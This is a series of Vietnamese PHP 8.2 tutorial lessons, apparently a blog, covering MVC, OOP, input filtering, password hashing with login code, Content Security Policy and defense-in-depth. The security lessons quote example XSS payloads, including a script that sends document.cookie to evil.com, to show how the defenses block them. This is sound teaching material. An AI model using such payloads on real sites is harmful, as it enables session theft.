Những kiến thức đó chính là nền tảng của Laravel.
Lộ trình gợi ý:
PHP Core
↓
MySQL
↓
OOP
↓
MVC
↓
Laravel
↓
REST API
↓
Authentication
↓
Deployment
↓
Dự án thực tế
Đây là con đường phổ biến của nhiều lập trình viên PHP.
Qua bài học này, bạn đã biết:
✅ Laravel là gì
✅ Vì sao Laravel được sử dụng rộng rãi
✅ Mô hình MVC trong Laravel
✅ Composer và Artisan
✅ Eloquent ORM
✅ Blade Template
✅ Routing
✅ Validation
✅ Authentication
Đến đây, bạn đã hoàn thành chặng đường PHP Core 8.2 – Cấp độ Trứng 🥚.
Với nền tảng này, bạn có thể tự xây dựng các website động bằng PHP, làm việc với cơ sở dữ liệu MySQL và sẵn sàng bước sang thế giới của các framework hiện đại như Laravel, cũng như tiếp tục khám phá WordPress, Flarum hoặc phát triển các dự án web thực tế.
x1
Cập nhật: 2026-07-04T11:01:42.907+07:00
Ở những bài trước, chúng ta đã biết cách:
✅ Kết nối MySQL
✅ CRUD dữ liệu
✅ Chia Header / Footer bằng include
✅ Hash mật khẩu
✅ Filter dữ liệu
✅ Làm quen với OOP
Website đã chạy được.
Nhưng nếu dự án có hàng trăm file thì sao?
Ví dụ:
Trang chủ
Danh sách sản phẩm
Tin tức
Đăng nhập
Quản lý người dùng
Dashboard
Nếu tất cả đều viết trong một file PHP thì sẽ rất khó bảo trì.
Đó là lý do MVC ra đời.
MVC là viết tắt của:
M → Model
V → View
C → Controller
MVC giúp chia chương trình thành nhiều phần riêng biệt.
Người dùng
│
▼
Controller
│
▼
Model
│
▼
Database
▲
│
View ◄────────────
Mỗi thành phần chỉ làm đúng nhiệm vụ của mình.
Model chịu trách nhiệm làm việc với dữ liệu.
Ví dụ:
Kết nối MySQL
INSERT
UPDATE
DELETE
SELECT
Ví dụ:
class ProductModel
{
public function getAll()
{
return mysqli_query(
$GLOBALS["conn"],
"SELECT * FROM products"
);
}
}
Model KHÔNG hiển thị HTML.
Model chỉ xử lý dữ liệu.
View là giao diện.
Ví dụ:
<h1>Danh sách sản phẩm</h1>
<?php foreach($products as $item): ?>
<p><?= $item["name"] ?></p>
<?php endforeach; ?>
View chỉ hiển thị dữ liệu.
Không nên viết SQL trong View.
❌ Sai:
mysqli_query(...);
Controller là "người điều phối".
Controller nhận request từ người dùng.
Ví dụ:
Người dùng mở:
products.php
Controller sẽ:
↓
gọi Model
↓
lấy dữ liệu
↓
đưa sang View
↓
hiển thị
Ví dụ:
$model = new ProductModel();
$products = $model->getAll();
include "views/products.php";
Browser
↓
Controller
↓
Model
↓
Database
↓
Model
↓
Controller
↓
View
↓
Browser
Đây là quy trình hoạt động của hầu hết framework hiện đại.
Ví dụ:
project/
controllers/
models/
views/
config/
public/
index.php
Trong đó:
controllers/
Chứa Controller.
models/
Chứa Model.
views/
Chứa giao diện.
config/
File cấu hình.
public/
CSS
JS
Image
controllers/
HomeController.php
models/
Product.php
views/
home.php
Controller:
require "models/Product.php";
$model = new Product();
$data = $model->all();
include "views/home.php";
Model:
class Product
{
public function all()
{
return mysqli_query(
$GLOBALS["conn"],
"SELECT * FROM products"
);
}
}
View:
<?php foreach($data as $row): ?>
<p><?= $row["name"] ?></p>
<?php endforeach; ?>
Mỗi phần đều có nhiệm vụ riêng.
✅ Code gọn gàng
✅ Dễ mở rộng
✅ Dễ bảo trì
✅ Dễ làm việc nhóm
✅ Không trùng lặp code
✅ Tách giao diện và xử lý dữ liệu
PHP
↓
HTML
↓
SQL
↓
PHP
↓
HTML
↓
SQL
Mọi thứ lẫn vào nhau.
Sau vài nghìn dòng code sẽ rất khó sửa.
Controller
↓
Model
↓
Database
↓
Controller
↓
View
Mỗi file làm đúng một nhiệm vụ.
Không.
Bạn vẫn có thể viết website bằng PHP thuần.
Nhưng khi dự án lớn lên, MVC gần như là lựa chọn tiêu chuẩn để quản lý mã nguồn hiệu quả.
Hầu hết framework PHP nổi tiếng đều sử dụng hoặc dựa trên kiến trúc MVC:
Laravel
CodeIgniter
CakePHP
Yii
Phalcon
Nếu hiểu MVC, bạn sẽ học các framework này nhanh hơn rất nhiều.
Sau bài này bạn đã biết:
MVC là gì
Vai trò của Model
Vai trò của View
Vai trò của Controller
Luồng hoạt động của MVC
Lợi ích của việc tách code theo MVC
🎉 Ở bài tiếp theo, chúng ta sẽ bước sang framework PHP phổ biến nhất hiện nay: Laravel, nơi mô hình MVC được áp dụng một cách đầy đủ và mạnh mẽ.
Xem toàn bộ mã nguồn 01 mô hình MVC đơn giản tại đây.
Cập nhật: 2026-07-04T11:21:22.987+07:00
Sau khi hoàn thành phần PHP cơ bản và CRUD, bạn đã có thể xây dựng những website đơn giản.
Tuy nhiên, khi dự án ngày càng lớn, việc viết tất cả trong một file sẽ trở nên rất khó quản lý.
Đó là lý do Lập trình hướng đối tượng (Object-Oriented Programming - OOP) ra đời.
Sau bài này bạn sẽ biết:
✅ OOP là gì
✅ Class và Object
✅ Property và Method
✅ Tạo object đầu tiên
✅ Vì sao Framework PHP đều dùng OOP
OOP (Object-Oriented Programming) là phương pháp lập trình mô phỏng mọi thứ thành đối tượng.
Ví dụ ngoài đời:
🚗 Xe hơi
👨 Người
📱 Điện thoại
🏦 Tài khoản ngân hàng
Mỗi đối tượng đều có:
Thuộc tính (Property)
Hành động (Method)
Ví dụ:
Người
Thuộc tính:
tên
tuổi
chiều cao
Hành động:
đi
chạy
ăn
Ta tạo một "khuôn mẫu" gọi là Class.
class User
{
}
Class giống như bản thiết kế.
Từ bản thiết kế này có thể tạo ra rất nhiều đối tượng.
class User
{
}
$user = new User();
Từ khóa
new
dùng để tạo một đối tượng mới.
class User
{
public $name;
public $age;
}
Property chính là dữ liệu của object.
Ví dụ:
$user = new User();
$user->name = "Nguyễn Văn A";
$user->age = 25;
Truy cập:
echo $user->name;
Kết quả
Nguyễn Văn A
class User
{
public function hello()
{
echo "Xin chào!";
}
}
Gọi:
$user = new User();
$user->hello();
Kết quả
Xin chào!
class User
{
public $name;
public function hello()
{
echo "Xin chào " . $this->name;
}
}
Sử dụng:
$user = new User();
$user->name = "Minh";
$user->hello();
Kết quả
Xin chào Minh
Ở đây:
$this
chính là object hiện tại.
class User
{
public $name;
}
$a = new User();
$b = new User();
$a->name = "An";
$b->name = "Bình";
echo $a->name;
echo "<br>";
echo $b->name;
Kết quả
An
Bình
Một class có thể tạo ra vô số object.
class Product
{
public $name;
public $price;
}
$p1 = new Product();
$p1->name = "Chuột Gaming";
$p1->price = 450000;
echo $p1->name;
echo "<br>";
echo number_format($p1->price);
Kết quả
Chuột Gaming
450,000
Nếu website chỉ có vài file thì viết PHP thông thường vẫn được.
Nhưng khi có:
hàng nghìn dòng code
nhiều lập trình viên
nhiều module
thì OOP giúp:
✅ dễ quản lý
✅ tái sử dụng code
✅ dễ mở rộng
✅ dễ bảo trì
Ví dụ Controller:
class ProductController
{
}
Model:
class Product
{
}
Request:
class ProductRequest
{
}
Middleware:
class AuthMiddleware
{
}
Toàn bộ Laravel đều được xây dựng trên nền tảng OOP.
Nếu hiểu OOP, việc học Laravel sẽ trở nên dễ dàng hơn rất nhiều.
Trong bài này bạn đã biết:
✅ OOP là gì
✅ Class
✅ Object
✅ Property
✅ Method
✅ Từ khóa new
✅ Từ khóa $this
Đây là nền tảng để tiếp tục tìm hiểu Constructor, Kế thừa (Inheritance), Đóng gói (Encapsulation), Đa hình (Polymorphism) và các framework PHP hiện đại.
➡️ Bài tiếp theo: Bài 33 — MVC là gì?
Cập nhật: 2026-07-02T09:32:40.422+07:00
Trong các ứng dụng có yêu cầu bảo mật cao (ngân hàng, chứng khoán, y tế, chính phủ...), người ta áp dụng chiến lược Defense in Depth (phòng thủ nhiều lớp).
01 kiến trúc điển hình có thể gồm:
| 🔢 | 🛡️ Lớp bảo vệ | 🎯 Mục đích |
|---|---|---|
| 1️⃣ | HTTPS + HSTS | Mã hóa kết nối, chống downgrade |
| 2️⃣ | Validate dữ liệu đầu vào | Chỉ chấp nhận dữ liệu đúng định dạng |
| 3️⃣ | Escape đầu ra (htmlspecialchars()) | Chống XSS khi hiển thị |
| 4️⃣ | Prepared Statement | Chống SQL Injection |
| 5️⃣ | CSP | Ngăn JavaScript độc thực thi |
| 6️⃣ | Cookie HttpOnly | JavaScript không đọc được session |
| 7️⃣ | Cookie Secure | Chỉ gửi cookie qua HTTPS |
| 8️⃣ | Cookie SameSite=Lax/Strict | Giảm nguy cơ CSRF |
| 9️⃣ | CSRF Token | Chống giả mạo yêu cầu |
| 🔟 | Phân quyền (RBAC) | Người dùng chỉ được làm những gì được cấp quyền |
| 1️⃣1️⃣ | Giới hạn tốc độ (Rate Limiting) | Chống brute force, spam API |
| 1️⃣2️⃣ | Ghi log & giám sát | Phát hiện hành vi bất thường |
| 1️⃣3️⃣ | Mã hóa dữ liệu nhạy cảm | Bảo vệ dữ liệu khi bị lộ cơ sở dữ liệu |
| 1️⃣4️⃣ | WAF (Web Application Firewall) | Chặn nhiều kiểu tấn công phổ biến |
| 1️⃣5️⃣ | Kiểm thử bảo mật định kỳ | Phát hiện lỗ hổng trước khi bị khai thác |
Giả sử hacker nhập:
<script>fetch('https://evil.com?c='+document.cookie)</script>
01 hệ thống được bảo vệ nhiều lớp sẽ phản ứng như sau:
✅ Validate: phát hiện dữ liệu không đúng định dạng (nếu trường không cho phép HTML).
✅ htmlspecialchars(): hiển thị dưới dạng văn bản, không chạy.
✅ CSP: nếu còn sót script thì trình duyệt vẫn chặn thực thi.
✅ HttpOnly: dù script chạy được, cũng không đọc được cookie phiên.
✅ SameSite: giảm khả năng dùng cookie để thực hiện tấn công CSRF.
✅ Log/WAF: ghi nhận và có thể chặn IP nếu phát hiện mẫu tấn công.
Nếu tự xây dựng framework hoặc ứng dụng CRUD, mình khuyến nghị tối thiểu 10 lớp sau:
trim() + validate dữ liệu.
Prepared Statements (PDO hoặc mysqli prepared).
password_hash() + password_verify().
htmlspecialchars() khi xuất HTML.
CSRF Token cho mọi form.
CSP.
Cookie HttpOnly, Secure, SameSite.
Phân quyền theo vai trò (RBAC).
Rate Limiting cho đăng nhập và API.
Ghi log các sự kiện bảo mật.
Đây đã là mức bảo vệ rất tốt cho hầu hết ứng dụng doanh nghiệp.
Các ngân hàng và tổ chức tài chính thường có 20–50 lớp bảo vệ hoặc hơn, bao gồm cả hạ tầng mạng, máy chủ, ứng dụng, cơ sở dữ liệu và giám sát an ninh 24/7. Bảo mật không chỉ nằm ở code mà còn ở quy trình vận hành, quản lý khóa mã hóa, kiểm soát truy cập, sao lưu, phát hiện xâm nhập và ứng cứu sự cố.
Nói cách khác, không có khái niệm "đủ an toàn với một lớp". Mục tiêu là nếu một lớp bị vượt qua thì các lớp phía sau vẫn tiếp tục ngăn chặn hoặc giảm thiểu thiệt hại.
Cập nhật: 2026-07-01T12:10:50.059+07:00
CSP (Content Security Policy) là 01 lớp bảo mật của trình duyệt giúp ngăn chặn XSS, ngay cả khi hacker đã chèn được mã độc vào trang.
🛡️ Các lớp bảo vệ XSS
| 🔢 | 🛠️ Hàm/Kỹ thuật | 🎯 Mục đích |
|---|---|---|
| 1️⃣ | trim() | Loại bỏ khoảng trắng đầu/cuối |
| 2️⃣ | strip_tags() (nếu không cho phép HTML) | Xóa các thẻ HTML |
| 3️⃣ | filter_var() | Validate email, URL, số... |
| 4️⃣ | htmlspecialchars() | Escape khi xuất ra HTML (quan trọng nhất) |
| 5️⃣ | Prepared Statement | Chống SQL Injection (không phải XSS) |
| 6️⃣ | CSP (Content Security Policy) | Giảm thiểu XSS ngay cả khi lọt dữ liệu độc |
<?php
echo $_GET['name'];
?>
Người dùng truy cập:
index.php?name=<script>alert('Hack')</script>
Kết quả:
💥 Popup hiện lên.
Trong PHP:
<?php
header("Content-Security-Policy: default-src 'self'");
echo $_GET['name'];
?>
Nếu hacker chèn:
<script>alert(1)</script>
Trình duyệt sẽ báo lỗi:
Refused to execute inline script because it violates the following Content Security Policy...
=> Script không chạy.
header("
Content-Security-Policy:
default-src 'self';
script-src 'self';
");
Được phép
<script src="/js/app.js"></script>
Không được phép
<script src="https://evil.com/hack.js"></script>
header("
Content-Security-Policy:
script-src 'self';
");
HTML
<script>
alert(1);
</script>
❌ Bị chặn.
HTML
<button onclick="alert(1)">
Nếu CSP
script-src 'self'
thì
onclick=""
cũng không chạy.
Đây là điểm cực mạnh của CSP.
header("
Content-Security-Policy:
default-src 'self';
img-src 'self' https://cdn.example.com;
");
Được
<img src="https://cdn.example.com/a.png">
Không được
<img src="https://evil.com/x.png">
<?php
header("
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data:;
font-src 'self';
object-src 'none';
frame-src 'none';
base-uri 'self';
form-action 'self';
");
?>
Ý nghĩa:
| 🔢 | ⚙️ Directive | 🛡️ Chức năng |
|---|---|---|
| 1️⃣ | default-src 'self' | Chỉ tải tài nguyên từ chính website |
| 2️⃣ | script-src 'self' | Chỉ chạy JavaScript nội bộ |
| 3️⃣ | style-src 'self' | Chỉ dùng CSS nội bộ |
| 4️⃣ | img-src 'self' data: | Chỉ cho ảnh từ website hoặc Data URI |
| 5️⃣ | font-src 'self' | Chỉ tải font nội bộ |
| 6️⃣ | object-src 'none' | Cấm Flash, Java Applet... |
| 7️⃣ | frame-src 'none' | Không cho nhúng iframe |
| 8️⃣ | base-uri 'self' | Ngăn thay đổi thẻ <base> |
| 9️⃣ | form-action 'self' | Form chỉ được submit về chính website |
Nếu website của bạn dùng:
Bootstrap CDN
Google Fonts
Font Awesome CDN
jQuery CDN
thì CSP phải cho phép các domain đó, ví dụ:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' https://cdn.jsdelivr.net https://fonts.googleapis.com;
font-src https://fonts.gstatic.com;
Nếu không, CSS hoặc JavaScript từ CDN sẽ bị trình duyệt chặn.
CSP không thay thế
htmlspecialchars()hay việc validate dữ liệu. Hãy xem CSP là lớp phòng thủ cuối cùng: nếu lỡ có lỗ hổng XSS, CSP có thể ngăn nhiều kiểu tấn công thực thi trong trình duyệt.
Không nên đặt ở từng file view.
Đầu mỗi file:
<?php
header("Content-Security-Policy: ...");
?>
Nếu có 100 trang thì phải sửa 100 nơi.
Ví dụ:
index.php
config.php
bootstrap.php
init.php
Ngay sau <?php
<?php
header("
Content-Security-Policy:
default-src 'self';
script-src 'self';
style-src 'self';
img-src 'self' data:;
font-src 'self';
object-src 'none';
frame-src 'none';
base-uri 'self';
form-action 'self';
");
Sau đó
require "config.php";
Tất cả các trang đều được áp dụng CSP.
Ví dụ
public/index.php
<?php
header(...);
require "../app/bootstrap.php";
Laravel, CodeIgniter... đều làm tương tự thông qua middleware hoặc kernel.
Trong .htaccess
Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
Toàn bộ website đều có CSP.
add_header Content-Security-Policy "default-src 'self';";
Nếu website dùng:
Bootstrap CDN
jQuery CDN
Font Awesome CDN
Google Fonts
thì CSP ở trên sẽ làm hỏng giao diện.
Ví dụ
<link href="https://cdn.jsdelivr.net/..." ...>
sẽ bị chặn.
Lúc đó phải khai báo:
style-src 'self' https://cdn.jsdelivr.net https://fonts.googleapis.com;
và
font-src 'self' https://fonts.gstatic.com;
Ví dụ
<script>
alert("Hello");
</script>
CSP
script-src 'self';
➡ Không chạy.
Đây là lý do các dự án hiện đại thường không viết JavaScript trực tiếp trong HTML, mà chuyển hết sang các file như:
/js/app.js
/js/main.js
/js/admin.js
Điều này vừa giúp CSP phát huy hiệu quả, vừa làm mã nguồn dễ bảo trì hơn.
Mẹo: Nếu đang xây dựng framework PHP Core riêng, hãy đặt tất cả các header bảo mật vào một file như security.php hoặc bootstrap.php, ví dụ:
<?php
// Security Headers
header("X-Frame-Options: DENY");
header("X-Content-Type-Options: nosniff");
header("Referrer-Policy: strict-origin-when-cross-origin");
header("Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; object-src 'none'; frame-src 'none'; base-uri 'self'; form-action 'self';");
Sau đó chỉ cần:
require_once 'security.php';
là toàn bộ website sẽ được bảo vệ bởi các HTTP Security Headers, rất gọn và chuyên nghiệp.
Cập nhật: 2026-07-02T23:49:00.545+07:00
Trước đây bạn đã học Password Hash. Bài tiếp theo hợp lý nhất là Filter dữ liệu (Data Filtering & Validation) vì đây là kỹ năng gần như dự án PHP nào cũng sử dụng.
Sau bài này bạn sẽ biết:
✅ Filter dữ liệu bằng filter_var()
✅ Validate Email
✅ Validate URL
✅ Validate Number
✅ Làm sạch chuỗi nhập vào
✅ Một số Filter hữu ích khác trong PHP
Người dùng có thể nhập bất cứ thứ gì.
Ví dụ:
abc
Trong ô tuổi.
Hoặc
hello@@gmail
Trong ô email.
Hoặc
<script>alert(1)</script>
Trong ô họ tên.
Nếu không kiểm tra, website sẽ:
❌ lỗi dữ liệu
❌ dữ liệu rác
❌ tăng nguy cơ bị tấn công
Đây là hàm chuẩn của PHP để:
Validate dữ liệu
Làm sạch dữ liệu
Cú pháp
filter_var($value, FILTER_...)
<?php
$email = "admin@gmail.com";
if (
filter_var(
$email,
FILTER_VALIDATE_EMAIL
)
) {
echo "Email hợp lệ";
} else {
echo "Email không hợp lệ";
}
Kết quả
Email hợp lệ
Ví dụ sai
$email = "abc@@gmail";
if (
filter_var(
$email,
FILTER_VALIDATE_EMAIL
)
) {
echo "OK";
} else {
echo "Sai định dạng";
}
Kết quả
Sai định dạng
<?php
$url = "https://example.com";
if (
filter_var(
$url,
FILTER_VALIDATE_URL
)
) {
echo "URL hợp lệ";
}
else{
echo "URL sai";
}
Ví dụ
https://google.com
✔
abcxyz
✖
<?php
$age = 25;
if (
filter_var(
$age,
FILTER_VALIDATE_INT
)
) {
echo "Đây là số nguyên";
}
Ví dụ
25
✔
25.5
✖
abc
✖
<?php
$number = 3.14;
if (
filter_var(
$number,
FILTER_VALIDATE_FLOAT
)
) {
echo "Float hợp lệ";
}
<?php
$ip = "192.168.1.10";
if (
filter_var(
$ip,
FILTER_VALIDATE_IP
)
){
echo "IP hợp lệ";
}
Ví dụ
admin@gmail.com<script>
Có thể dùng
<?php
$email = "admin@gmail.com<script>";
$email = filter_var(
$email,
FILTER_SANITIZE_EMAIL
);
echo $email;
Kết quả
admin@gmail.comscript
| 🔢 | 🛠️ Hàm/Kỹ thuật | 🎯 Mục đích |
|---|---|---|
| 1️⃣ | trim() | Loại bỏ khoảng trắng đầu/cuối |
| 2️⃣ | strip_tags() (nếu không cho phép HTML) | Xóa các thẻ HTML |
| 3️⃣ | filter_var() | Validate email, URL, số... |
| 4️⃣ | htmlspecialchars() | Escape khi xuất ra HTML (quan trọng nhất) |
| 5️⃣ | Prepared Statement | Chống SQL Injection (không phải XSS) |
| 6️⃣ | CSP (Content Security Policy) | Giảm thiểu XSS ngay cả khi lọt dữ liệu độc |
<?php
$url = "https://example.com<script>";
$url = filter_var(
$url,
FILTER_SANITIZE_URL
);
echo htmlspecialchars($url);<?php
$value = "true";
$result = filter_var(
$value,
FILTER_VALIDATE_BOOLEAN
);
var_dump($result);
Kết quả
bool(true)
Ví dụ tuổi từ 1 đến 120
<?php
$age = 35;
$options = [
"options" => [
"min_range" => 1,
"max_range" => 120
]
];
if (
filter_var(
$age,
FILTER_VALIDATE_INT,
$options
)
){
echo "Tuổi hợp lệ";
}
<form method="post">
Email
<input
type="text"
name="email"
>
<button>
Kiểm tra
</button>
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$email = trim($_POST["email"]);
if (
filter_var(
$email,
FILTER_VALIDATE_EMAIL
)
) {
echo "✅ Email hợp lệ";
} else {
echo "❌ Email không hợp lệ";
}
}
| 🔢 | 🧩 Filter | 💖 Công dụng |
|---|---|---|
| 1️⃣ | FILTER_VALIDATE_EMAIL | Kiểm tra Email |
| 2️⃣ | FILTER_VALIDATE_URL | Kiểm tra URL |
| 3️⃣ | FILTER_VALIDATE_INT | Kiểm tra số nguyên |
| 4️⃣ | FILTER_VALIDATE_FLOAT | Kiểm tra số thực |
| 5️⃣ | FILTER_VALIDATE_IP | Kiểm tra địa chỉ IP |
| 6️⃣ | FILTER_VALIDATE_BOOLEAN | Kiểm tra giá trị Boolean |
| 7️⃣ | FILTER_SANITIZE_EMAIL | Làm sạch Email |
| 8️⃣ | FILTER_SANITIZE_URL | Làm sạch URL |
⚠️ FILTER_SANITIZE_STRING đã deprecated từ PHP 8.1 và không nên sử dụng trong PHP 8.2. Thay vào đó, hãy kết hợp trim(), filter_var() với các filter phù hợp và htmlspecialchars() khi xuất dữ liệu ra HTML.
Viết chương trình:
✅ Kiểm tra Email
✅ Kiểm tra Website
✅ Kiểm tra Tuổi (1–120)
✅ Kiểm tra IP
✅ Thông báo hợp lệ hoặc không hợp lệ
Sau bài này bạn đã biết:
✅ filter_var()
✅ Validate Email
✅ Validate URL
✅ Validate Number
✅ Validate IP
✅ Validate Boolean
✅ Sanitize Email & URL
✅ Kết hợp Filter với Form HTML
➡️ Bài tiếp theo: 📘 Bài 32 — Giới thiệu OOP PHP (Class, Object, Property, Method và cách tư duy lập trình hướng đối tượng trong PHP).
Cập nhật: 2026-07-02T09:12:59.541+07:00
Trong website thực tế, việc lưu mật khẩu là một vấn đề cực kỳ quan trọng.
❌ Sai lầm:
$password = "123456";
Lưu trực tiếp mật khẩu vào database.
Nếu database bị lộ → toàn bộ tài khoản bị lộ.
✅ Đúng cách:
PHP cung cấp cơ chế Hash Password để mã hóa một chiều.
Ví dụ:
Mật khẩu:
123456
Sau khi hash:
$2y$10$kL7x9a8Fj2....
Người khác không thể lấy lại mật khẩu gốc.
Cú pháp:
password_hash($password, $algorithm);
Ví dụ:
<?php
$password = "123456";
$hash = password_hash(
$password,
PASSWORD_DEFAULT
);
echo $hash;
?>
Kết quả:
$2y$10$....
Mỗi lần chạy sẽ tạo hash khác nhau.
Ví dụ:
Lần 1:
$2y$10$abc123...
Lần 2:
$2y$10$xyz789...
Nhưng PHP vẫn kiểm tra được.
Ví dụ bảng users:
| id | username | password |
|---|---|---|
| 1 | admin | $2y$10$abc... |
Không lưu:
123456
Mà lưu:
$2y$10$abc123....
Khi đăng nhập:
Người dùng nhập:
123456
Database chứa:
$2y$10$abc123....
PHP kiểm tra:
<?php
$password_input = "123456";
$password_db = "$2y$10$abc123";
if(
password_verify(
$password_input,
$password_db
)
){
echo "Đăng nhập thành công";
}else{
echo "Sai mật khẩu";
}
?>
Kết quả:
Đăng nhập thành công
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$password_hash = password_hash(
$password,
PASSWORD_DEFAULT
);
echo $password_hash;
?>
Người dùng nhập:
username:
admin
password:
123456
PHP tạo:
$2y$10$....
Ngày xưa:
md5("123456");
Cho ra:
e10adc3949ba59abbe56e057f20f883e
Nhược điểm:
❌ Có thể bị dò bằng rainbow table
❌ Không có salt mạnh
❌ Không phù hợp cho mật khẩu hiện nay
PHP 8.2 khuyến nghị:
password_hash()
PASSWORD_DEFAULT
PHP tự chọn thuật toán mạnh nhất hiện tại.
Ưu điểm:
✅ Không cần nhớ thuật toán
✅ PHP tự nâng cấp bảo mật
✅ Code lâu dài
PHP có:
password_needs_rehash()
Ví dụ:
if(
password_needs_rehash(
$password_hash,
PASSWORD_DEFAULT
)
){
echo "Cần tạo hash mới";
}
Dùng khi hệ thống nâng cấp bảo mật.
Đăng ký
|
|
Nhập password
|
|
password_hash()
|
|
Lưu MySQL
----------------
Đăng nhập
Nhập password
|
password_verify()
|
Đúng → tạo session
Sai → báo lỗi
Tạo hệ thống:
📌 register.php
Nhập username
Nhập password
Hash password
Lưu MySQL
📌 login.php
Nhập username
Nhập password
Kiểm tra password_verify()
Tạo session
<?php
//register.php
require_once("config.php");
if (isset($_POST['btnsubmit'])) {
$username = trim($_POST['username']);
$password = $_POST['password'];
$hoten = trim($_POST['hoten']);
$tuoi = (int)$_POST['tuoi'];
// Tạo mật khẩu đã mã hóa
$password_hash = password_hash(
$password,
PASSWORD_DEFAULT
);
// Chuẩn bị câu lệnh SQL
$sql = "
INSERT INTO users(username, password, hoten, tuoi)
VALUES (?, ?, ?, ?)
";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param(
$stmt,
"sssi",
$username,
$password_hash,
$hoten,
$tuoi
);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt);
header("Location: login.php");
exit;
}
?>
<form action="" method="post">
Nhập user name:
<input type="text" name="username" required>
<br><br>
Nhập mật khẩu:
<input type="password" name="password" required>
<br><br>
Nhập họ tên:
<input type="text" name="hoten" required>
<br><br>
Nhập tuổi:
<input type="number" name="tuoi" min="1" max="120" required>
<br><br>
<button type="submit" name="btnsubmit">
Đăng ký
</button>
</form>✅ Prepared Statement
✅ password_verify()
✅ password_needs_rehash()
✅ session_regenerate_id(true)
✅ Tạo Session
✅ Chuyển sang dashboard.php
✅ exit; sau header()
<?php
/*
===========================================
login.php
===========================================
- Đăng nhập
- password_verify()
- Session
- Session Fixation Protection
*/
session_start();
require_once "config.php";
$message = "";
if (isset($_POST["btnLogin"])) {
$username = trim($_POST["username"]);
$password = $_POST["password"];
$sql = "
SELECT *
FROM users
WHERE username = ?
LIMIT 1
";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param(
$stmt,
"s",
$username
);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
//dùng SELECT WHERE lấy đúng username
if (mysqli_num_rows($result) == 0) {
$message = "❌ Username không tồn tại.";
} else {
$user = mysqli_fetch_assoc($result);
//so sánh password của username đó
if (
password_verify(
$password,
$user["password"]
)
) {
// Hash cũ?
if (
password_needs_rehash(
$user["password"],
PASSWORD_DEFAULT
)
) {
$newHash = password_hash(
$password,
PASSWORD_DEFAULT
);
$sqlUpdate = "
UPDATE users
SET password=?
WHERE id=?
";
$stmtUpdate = mysqli_prepare(
$conn,
$sqlUpdate
);
mysqli_stmt_bind_param(
$stmtUpdate,
"si",
$newHash,
$user["id"]
);
mysqli_stmt_execute($stmtUpdate);
}
// Chống Session Fixation
session_regenerate_id(true);
$_SESSION["user_id"] = $user["id"];
$_SESSION["username"] = $user["username"];
header("Location: dashboard.php");
exit;
} else {
$message = "❌ Sai mật khẩu.";
}
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Login</title>
</head>
<body>
<h2>Đăng nhập</h2>
<?php
if ($message != "") {
echo "<p>$message</p>";
}
?>
<form method="post">
Username
<br>
<input
type="text"
name="username"
required
>
<br><br>
Password
<br>
<input
type="password"
name="password"
required
>
<br><br>
<button
type="submit"
name="btnLogin"
>
Đăng nhập
</button>
</form>
</body>
</html>
<?php
session_start();
if (!isset($_SESSION["user_id"])) {
header("Location: login.php");
exit;
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Dashboard</title>
</head>
<body>
<h1>Dashboard</h1>
Xin chào
<strong>
<?= htmlspecialchars($_SESSION["username"]) ?>
</strong>
<br><br>
<a href="logout.php">
Đăng xuất
</a>
</body>
</html>
<?php
session_start();
// Xóa toàn bộ session
$_SESSION = [];
// Hủy session
session_destroy();
// Quay về trang login
header("Location: login.php");
exit;
project/
│ config.php
│ login.php
│ dashboard.php
│ logout.php
└── users
Đây cũng chính là mô hình đăng nhập cơ bản mà hầu hết các framework PHP (như Laravel, CodeIgniter, Symfony) đều triển khai với các bước:
Nhập username/password.
Truy vấn người dùng theo username.
password_verify() để kiểm tra mật khẩu.
session_regenerate_id(true) để tăng cường bảo mật.
Lưu thông tin cần thiết vào $_SESSION.
Chuyển hướng đến trang được bảo vệ.
Kiểm tra $_SESSION ở mọi trang cần đăng nhập.
logout.php xóa session và quay lại trang đăng nhập.
✔ Vì sao không lưu mật khẩu dạng text
✔ password_hash()
✔ password_verify()
✔ Bảo mật đăng nhập cơ bản
✔ Chuẩn bị xây dựng hệ thống user thực tế
📚 Bài tiếp theo:
🐘 Bài 31 — Filter dữ liệu trong PHP
(kiểm tra, làm sạch dữ liệu trước khi lưu database)
x1
Cập nhật: 2026-07-01T10:01:01.096+07:00
Sau khi biết cách dùng include và require, bước tiếp theo là tách giao diện website thành nhiều phần riêng biệt để dễ quản lý.
Thay vì copy cùng một đoạn menu, header và footer vào hàng chục trang khác nhau, ta chỉ cần sửa một file duy nhất.
Giả sử website có:
Trang chủ
Giới thiệu
Liên hệ
Tin tức
Sản phẩm
Nếu menu nằm trực tiếp trong từng file:
index.php
about.php
contact.php
news.php
product.php
Mỗi lần thêm menu mới:
<li>Khuyến mãi</li>
Bạn phải sửa tất cả các file.
❌ Tốn thời gian
❌ Dễ sai sót
❌ Khó bảo trì
project/
│
├── index.php
├── about.php
│
├── includes/
│ ├── header.php
│ ├── menu.php
│ └── footer.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Website PHP</title>
</head>
<body>
<header>
<h1>Website Học PHP</h1>
</header>
<nav>
<a href="index.php">Trang chủ</a> |
<a href="about.php">Giới thiệu</a> |
<a href="contact.php">Liên hệ</a>
</nav>
<hr>
<hr>
<footer>
Bản quyền © 2026
</footer>
</body>
</html>
<?php include "includes/header.php"; ?>
<?php include "includes/menu.php"; ?>
<h2>Trang Chủ</h2>
<p>Chào mừng đến website PHP.</p>
<?php include "includes/footer.php"; ?>
<?php include "includes/header.php"; ?>
<?php include "includes/menu.php"; ?>
<h2>Giới Thiệu</h2>
<p>Đây là trang giới thiệu.</p>
<?php include "includes/footer.php"; ?>
Mọi trang đều dùng chung:
✅ Header
✅ Menu
✅ Footer
Khi chỉnh sửa menu:
<nav>
...
</nav>
Tất cả các trang tự động cập nhật.
Thay vì viết cứng:
<a href="index.php">Trang chủ</a>
<a href="about.php">Giới thiệu</a>
